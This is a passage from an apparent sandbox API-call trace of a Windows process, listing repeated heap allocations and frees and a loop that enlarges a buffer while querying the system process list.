0x431f97e0 [0193.312] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.312] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x4313a150 [0193.313] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.313] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x4313a150 [0193.314] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.314] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x4313a150 [0193.314] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.314] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x4313a150 [0193.315] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.364] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x4313a150 [0193.366] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.366] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x431f97e0 [0193.367] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.367] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x431f97e0 [0193.367] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.367] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x431f97e0 [0193.368] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.368] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x431f97e0 [0193.369] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.369] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x4313a150 [0193.369] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.369] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x431f97e0 [0193.370] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.370] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43074060) returned 1 [0193.370] Sleep (dwMilliseconds=0x64) [0193.472] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1024) returned 0x1cf26600 [0193.473] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cf26600, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x1cf26600, ResultLength=0x0) returned 0xc0000004 [0193.473] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cf26600, Size=0x2048) returned 0x43034090 [0193.475] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43034090, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x43034090, ResultLength=0x0) returned 0xc0000004 [0193.475] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43034090, Size=0x306c) returned 0x42ef4090 [0193.475] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42ef4090, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x42ef4090, ResultLength=0x0) returned 0xc0000004 [0193.476] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42ef4090, Size=0x4090) returned 0x43074060 [0193.476] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.476] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x50b4) returned 0x43074060 [0193.476] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.477] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x60d8) returned 0x43074060 [0193.477] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.477] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x70fc) returned 0x43074060 [0193.478] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.478] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x8120) returned 0x43074060 [0193.478] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.478] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x9144) returned 0x43074060 [0193.479] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.479] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0xa168) returned 0x43074060 [0193.479] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.480] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0xb18c) returned 0x43074060 [0193.480] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.480] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0xc1b0) returned 0x43074060 [0193.481] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.481] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0xd1d4) returned 0x43074060 [0193.481] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.482] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0xe1f8) returned 0x43074060 [0193.482] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.482] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0xf21c) returned 0x43074060 [0193.483] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.483] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x10240) returned 0x43074060 [0193.483] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.484] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x11264) returned 0x43074060 [0193.484] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.485] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x12288) returned 0x43074060 [0193.485] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.485] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x132ac) returned 0x43074060 [0193.486] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.486] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x142d0) returned 0x43074060 [0193.486] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.487] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x152f4) returned 0x43074060 [0193.488] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.488] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x16318) returned 0x43074060 [0193.489] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.489] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x1733c) returned 0x43074060 [0193.489] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.490] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x18360) returned 0x43074060 [0193.490] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.491] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x19384) returned 0x43074060 [0193.491] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.491] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x1a3a8) returned 0x43074060 [0193.492] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.492] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x1b3cc) returned 0x43074060 [0193.493] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.493] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x1c3f0) returned 0x43074060 [0193.493] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.494] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x1d414) returned 0x43074060 [0193.494] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.495] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x1e438) returned 0x43074060 [0193.495] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.496] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x1f45c) returned 0x43074060 [0193.496] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x1f45c, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.496] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x20480) returned 0x43074060 [0193.497] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x20480, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.497] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x214a4) returned 0x43074060 [0193.498] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x214a4, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.498] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x224c8) returned 0x43074060 [0193.499] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x224c8, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.499] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x234ec) returned 0x43074060 [0193.500] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x234ec, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.500] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x24510) returned 0x43074060 [0193.501] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x24510, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.501] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x25534) returned 0x43074060 [0193.502] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x25534, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.502] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x26558) returned 0x43074060 [0193.503] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x26558, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.503] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x2757c) returned 0x43074060 [0193.504] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x2757c, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.504] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x285a0) returned 0x43074060 [0193.504] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x285a0, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.505] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x295c4) returned 0x43074060 [0193.505] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x295c4, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.506] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x2a5e8) returned 0x43074060 [0193.506] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x2a5e8, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.507] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x2b60c) returned 0x43074060 [0193.507] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x2b60c, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.508] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x2c630) returned 0x43074060 [0193.508] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x2c630, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.509] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x2d654) returned 0x43074060 [0193.509] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x2d654, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0x0 [0193.510] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2) returned 0x1b7d3400 [0193.511] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d3400) returned 1 [0193.511] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe) returned 0x431f97e0 [0193.512] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.512] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x431f97e0 [0193.513] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.513] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x431f97e0 [0193.514] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.514] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x431f97e0 [0193.515] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.515] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x431f97e0 [0193.516] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.516] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x4313a150 [0193.516] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.516] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x4313a150 [0193.517] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.517] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x431f97e0 [0193.518] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.518] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x431f97e0 [0193.519] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.519] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x431f97e0 [0193.519] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.519] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x431f97e0 [0193.520] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.520] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x431f97e0 [0193.521] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.521] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x431f97e0 [0193.522] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.522] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x431f97e0 [0193.522] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.522] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x431f97e0 [0193.523] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.523] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x431f97e0 [0193.524] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.524] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x431f97e0 [0193.524] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.524] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x431f97e0 [0193.525] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.525] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x4313a150 [0193.526] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.526] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x431f97e0 [0193.526] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.526] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x431f97e0 [0193.527] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.527] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x4313a150 [0193.528] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.528] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x431f97e0 [0193.529] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.529] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x4313a150 [0193.529] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.529] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x4313a150 [0193.530] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.530] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x431f97e0 [0193.531] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.531] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x4313a150 [0193.531] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.531] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x4313a150 [0193.532] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.532] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x4313a150 [0193.533] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.533] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x4313a150 [0193.534] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.534] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x4313a150 [0193.535] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.535] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x431f97e0 [0193.535] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.535] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x4313a150 [0193.536] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.536] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1ce5d8b0 [0193.537] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5d8b0) returned 1 [0193.537] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c) returned 0x1ce5bc50 [0193.538] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bc50) returned 1 [0193.538] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x4313a150 [0193.539] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.539] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1ce5d8b0 [0193.539] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5d8b0) returned 1 [0193.539] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x1ce5bc50 [0193.540] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bc50) returned 1 [0193.540] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1ce5d8b0 [0193.541] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5d8b0) returned 1 [0193.541] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x4313a150 [0193.542] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.542] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x4313a150 [0193.543] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.543] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x431f97e0 [0193.543] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.543] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x4313a150 [0193.544] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.544] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x431f97e0 [0193.545] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.545] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x4313a150 [0193.545] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.546] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x431f97e0 [0193.546] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.546] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x431f97e0 [0193.547] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.547] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x4313a150 [0193.548] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.548] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x4313a150 [0193.548] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.548] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x431f97e0 [0193.549] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.550] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x4313a150 [0193.551] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.551] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1ce5d8b0 [0193.552] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5d8b0) returned 1 [0193.552] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x431f97e0 [0193.553] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.553] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, 